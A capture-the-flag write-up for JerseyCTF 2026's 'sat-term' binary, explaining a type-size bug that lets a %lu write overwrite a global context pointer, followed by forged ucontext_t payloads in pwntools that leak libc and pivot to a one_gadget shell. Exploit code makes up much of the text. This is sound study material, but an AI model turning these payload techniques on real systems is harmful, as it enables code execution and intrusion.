Post

sat-term

JerseyCTF 2026

sat-term

Wow!! Take a look at this! We just gained access to a terminal managing a satellite up in orbit right now. Do you think the server communicating with that satellite is vulnerable?

nc sat-term.aws.jerseyctf.com 5000

Files:

Solve

1
2
3
4
5
6
7
8
9
10
11
❯ file satterm
satterm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, BuildID[sha1]=9cfc742d30798da94f2dfaba7b5a14f355a475c6, for GNU/Linux 3.2.0, not stripped
❯ pwn checksec satterm
[*] '~/ctf/jerseyctf/bin/satterm/satterm'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    Stripped:   No

I started by decompiling this challenge with Binary Ninja, and immediately what stood out to me was the use of a set of context-related functions (setcontext, makecontext, getcontext). Note the checksec above, which shows that PIE is disabled. The main function is a good example of its use in this binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int32_t main(int32_t argc, char** argv, char** envp)
    void* fsbase
    int64_t rax = *(fsbase + 0x28)
    setup()
    initialize_operations()
    banner()
    navdata_handler(1)
    
    if (getcontext(&main_ctx) != 0)
        perror(s: "getcontext main")
        exit(status: 1)
        noreturn
    
    memset(&input, 0, 0x3d0)
    
    while (true)
        if (input[0] != 0)
            for (int32_t i = 0; i u<= 2; i += 1)
                if (strcmp(&input, (&operation_names)[sx.q(i)]) == 0)
                    printf(format: "COMMAND %s\n", &input, &input)
                    setcontext(sx.q(i) * 0x3c8 + contexts)
            
            printf(format: "UNKNOWN %s\n", &input, &input)
            break
        
        if (feof(fp: stdin) != 0)
            puts(str: "EOF")
            break
        
        printf(format: "> ")
        read(fd: 0, buf: &input, nbytes: 0x3d0)
        input[strcspn(&input, "\n")] = 0
    
    *(fsbase + 0x28)
    
    if (rax == *(fsbase + 0x28))
        return 0
    
    __stack_chk_fail()
    noreturn

There’s a main_ctx pointer that stores a main context, then it asks for a command and runs a setcontext based on the offset from contexts, which is a global variable. In the setup process, it sets up each of these contexts, but what is a context?

Looking up setcontext, we get its man page, which explains a lot more. Basically, you can set up context buffers (ucontext_t) that store a lot of information about the program state during that point of context, which can be seen in the struct definition below. The struct in the man page was wrong, so I had to pull the one from the linux source code for accurate offsets.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct ucontext_t
  {
    unsigned long int __ctx(uc_flags);
    struct ucontext_t *uc_link;
    stack_t uc_stack;
    mcontext_t uc_mcontext;
    sigset_t uc_sigmask;
    struct _libc_fpstate __fpregs_mem;
    __extension__ unsigned long long int __ssp[4];
  } ucontext_t;

typedef struct {
	mc_gregset_t	mc_gregs;
	mc_greg_t	mc_fp;
	mc_greg_t	mc_i7;
	mc_fpu_t	mc_fpregs;
} mcontext_t;

It can link other contexts, set up the list of signals blocked in the context (uc_sigmask), define the stack (uc_stack) and then, the part that we like, define the machine-specific context with mcontext_t. This struct is also shown above (taken from elixir). It contains a couple different things, some of which will be referenced later, but the big one here is mc_gregs, which is the register state. Just like in a SigReturn call, this will also re-populate all of the registers for the program, including $rip. The presence of this as the main control flow operator in this program was fishy, so I figured the exploit would have something to do with that, I just had to track down how.

Outside of initialization, the global variable contexts is only used once and in the main function. It’s also, conveniently, prefaced by the nav_data struct, which we can overwrite with the SETTINGS command. That struct’s state and the operation_settings are shown below, and when you combine the two, the vulnerability is shown.

1
2
3
4
5
6
7
8
9
10
11
12
0x00404460  struct nav_t nav_data = 
0x00404460  {
0x00404460      uint64_t apoapsis = 0x0
0x00404468      uint64_t periapsis = 0x0
0x00404470      double orbit_incline = 0
0x00404478      uint32_t sat_safe_mode = 0x0
0x0040447c      uint16_t sync_ms = 0x0
0x0040447e  }

0x0040447e                                                                                            00 00                                ..

0x00404480  uint64_t contexts = 0x0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int64_t operation_settings()
    void* fsbase
    int64_t rax = *(fsbase + 0x28)
    show_navigation()
    printf(format: "CHANGE [Y/N]: ")
    char change?
    __isoc23_scanf(" %c", &change?, " %c")
    
    if (change? != 'Y')
        setcontext(&main_ctx)
    
    printf(format: "APOAPSIS: ")
    __isoc23_scanf("%lu", &nav_data, &nav_data)
    printf(format: "PERIAPSIS: ")
    __isoc23_scanf("%lu", &nav_data.periapsis, &nav_data.periapsis)
    printf(format: "ORBIT INCLINE: ")
    __isoc23_scanf("%lf", &nav_data.orbit_incline, &nav_data.orbit_incline)
    printf(format: "DOWNLINK SYNCHRONIZATION MS: ")
    __isoc23_scanf("%lu", &nav_data.sync_ms, &nav_data.sync_ms)
    printf(format: "SATELLITE SAFE MODE [Y/N]: ")
    bool safe_mode = true
    __isoc23_scanf(" %c", &safe_mode, " %c")
    nav_data.sat_safe_mode = zx.d(safe_mode == 'Y')
    puts(str: "PARAMETERS SET, SENDING NEXT UPLINK")
    show_navigation()
    navdata_handler(0)
    setcontext(&main_ctx)
    
    if (rax == *(fsbase + 0x28))
        return rax - *(fsbase + 0x28)
    
    __stack_chk_fail()
    noreturn

You can repopulate each field of the struct, all of which are correct EXCEPT the write to nav_data.sync_ms, which is a uint16_t yet can be written with the %lu format specifier, allowing 8-byte writes to that field. This will allow an overwrite of the lower 4 bytes of context, which will effectively let you point it anywhere else in the binary. The input buffer is massive and exists as a static global variable, so that was my first choice and worked great. The trick was just to actually get the return exploit working.

Initally, I had hopes that the flag was just in flag.txt on the system, since I had found a really nice gadget that would let me read any file on the system (just not RCE yet). operation_status runs the below code, reading “satellite.log” and then outputting its contents. If I had full control over the registers and could set $rip to 0x00401394, it would let me call fopen with arbitrary parameters and then read that file to the console.

1
2
3
4
5
6
7
8
9
10
11
12
13
    FILE* fp = fopen(filename: "./satellite.log", mode: "r")
    
    while (true)
        int32_t c = fgetc(fp)
        
        if (c == 0xffffffff)
            break
        
        putchar(c)
    
    fclose(fp)
    puts(str: "\n\nREAD SUCCESS")
    setcontext(&main_ctx)

I played around with this for a while, but after opening a ticket the organizers basically said that I would never find the flag by just guessing file names (they were right) so I moved on to RCE. Since I had control over all of the registers, PIE was disabled, and I had a copy of the libc file (I patched the binary to set runpath to ‘.’ so that it would automatically use it), it would be pretty easy to do a ret2plt and then ret2system.

First, I set up the overwrite of the context pointer in my solve script so that I could start playing with the setcontext:

1
2
3
4
5
6
7
8
9
10
input_addr = 0x00404080

p.recvuntil(b'> ')
p.sendline(b'SETTINGS')
p.sendlineafter(b'CHANGE [Y/N]: ', b'Y')
p.sendlineafter(b'APOAPSIS: ', b'100')
p.sendlineafter(b'PERIAPSIS: ', b'100')
p.sendlineafter(b'ORBIT INCLINE: ', b'100')
p.sendlineafter(b'DOWNLINK SYNCHRONIZATION MS: ', str(0x41414141 + (input_addr << 32)).encode())
p.sendlineafter(b'SATELLITE SAFE MODE [Y/N]: ', b'N')

Then I had to set up the actual context buffer… luckily, we have source code for this kinda stuff. There is __ctx (8 bytes), uc_link (8 bytes), uc_stack (here, 0x18 bytes), and then our uc_mcontext with registers. It leads with r8+ and then goes to the lower registers, so we have some padding that we can use. Here’s the full first ret2plt stack frame set up.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
new_stack = input_addr + 0x200

# new thing needs to be ret2plt and then ret2system
payload = flat({
    # uc_flags / uc_link
    0x00: b'STATUS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00',  # 0x10 bytes

    # uc_stack
    0x10: p64(new_stack), # ss_sp
    0x18: p64(0), # ss_flags - prolly not necessary
    0x20: p64(0x800), # ss_size

    # gregs from +0x28
    0x28: b'flag.txt\x00\x00\x00\x00\x00\x00\x00\x00',  # R8, R9
    0x38: p64(0) * 6, # R10-R15
    0x68: p64(elf.got['puts']), # RDI
    0x70: p64(0), # RSI
    0x78: p64(new_stack), # RBP
    0x80: p64(0), # RBX
    0x88: p64(0), # RDX
    0x90: p64(0), # RAX
    0x98: p64(0), # RCX
    0xa0: p64(new_stack-0x20), # RSP
    0xa8: p64(elf.plt['puts']),# RIP

    # fpstate pointer - to the fp_env_offset
    0xe0: p64(input_addr + fp_env_offset),

    # just enough to not segfault
    fp_env_offset: p32(0x037f) + b'\x00' * 24, # this is dereferenced to reset the fp state...
    0x1a0: p64(0x00401b46), # final ret gadget after read...

    0x1c0: p32(0x1f80), # default MXCSR

    0x1e0: p64(0x00401b46), # ret gadget back to main
    0x200: p64(0x00401b46)
},
    filler=b'\x00'
)

p.recvuntil(b'> ')
p.recvuntil(b'> ')
p.send(payload)
p.recvline()
leak = p.recv(6).ljust(8, b'\x00')
log.info(f'leaked puts address: {hex(u64(leak))}')
libc.address = u64(leak) - libc.symbols['puts']
log.info(f'libc base: {hex(libc.address)}')

We have to include STATUS at the front to pass the strcmp in main, but it also doesn’t really matter if we set uc_flags and uc_link since those aren’t actually used the way the program does it as far as I can tell. Then, we have our new stack set up in the uc_stack struct, and then all of our registers. I used the higher space of our input object as just stack space so that I could control what was on the stack for future calls, especially the return after our ret2plt had finished.

I had a lot of trouble actually setting this up and had to do a lot of debugging. What you are seeing is the clean version of hours of work. Accordingly, I set up fpstate in the ucontext_t struct because I was having trouble with the program segfaulting when I didn’t do that. However, I don’t actually thing this was necessary. I was initially running flat() without filler as an argument, which automatically fills from a cyclic() object, meaning all that space was filled with junk that would break stuff instead of neat 0’s. But who knows, maybe it was still necessary after all.

I also had to so some stepping through the program because messing with $rsp meant that when I made subsequent function calls after returning to main, I had to make sure that eventually the return address still worked. The address at 0x1a0 points back to the main function because somewhere during read it was failing so I had to manually jump back there. That allowed the second read to happen which meant I could actually use the leaked address in my second frame:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
payload = flat({
    # uc_flags / uc_link
    0x00: b'STATUS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00',  # 0x10 bytes

    # uc_stack
    0x10: p64(new_stack), # ss_sp
    0x18: p64(0), # ss_flags - prolly not necessary
    0x20: p64(0x800), # ss_size

    # gregs from +0x28
    0x28: b'/bin/sh' + b'\x00' * 9,  # R8, R9
    0x38: p64(0) * 6, # R10-R15
    0x68: p64(0), # RDI
    0x70: p64(0), # RSI
    0x78: p64(new_stack), # RBP
    0x80: p64(0), # RBX
    0x88: p64(0), # RDX
    0x90: p64(0), # RAX
    0x98: p64(0), # RCX
    0xa0: p64(new_stack-0x20), # RSP
    0xa8: p64(libc.address + 0xde6c3),# RIP

    # fpstate pointer - to the fp_env_offset
    0xe0: p64(input_addr + fp_env_offset),

    # just enough to not segfault
    fp_env_offset: p32(0x037f) + b'\x00' * 24, # this is dereferenced to reset the fp state...
    0x1a0: p64(0x00401bea), # final ret gadget after read...

    0x1c0: p32(0x1f80), # default MXCSR

    0x1e0: p64(0x00401b46), # ret gadget back to main
    0x200: p64(0x00401b46)
},
    filler=b'\x00',
    word_size=64
)
p.sendline(payload)

I just reused a lot the second time and used a one gadget for the return address. I tried with system() for a while, but that function uses a stack frame of like 0x300 bytes or something which subtracted enough from $rsp that it tried to leave the memory segment and segfaulted. I think those were all the funky things I ran into. It was a pretty neat challenge getting to play with another method of control flow hijacking, I enjoyed it. And it worked great on remote, too! I’ll include my whole solve script, though it’s super unpolished and has a million different comments and stuff.

Flag: jctf{k3rbal_sp4ce_pr0gram_but_m4ke_it_b1nex}

This post is licensed under CC BY 4.0 by the author.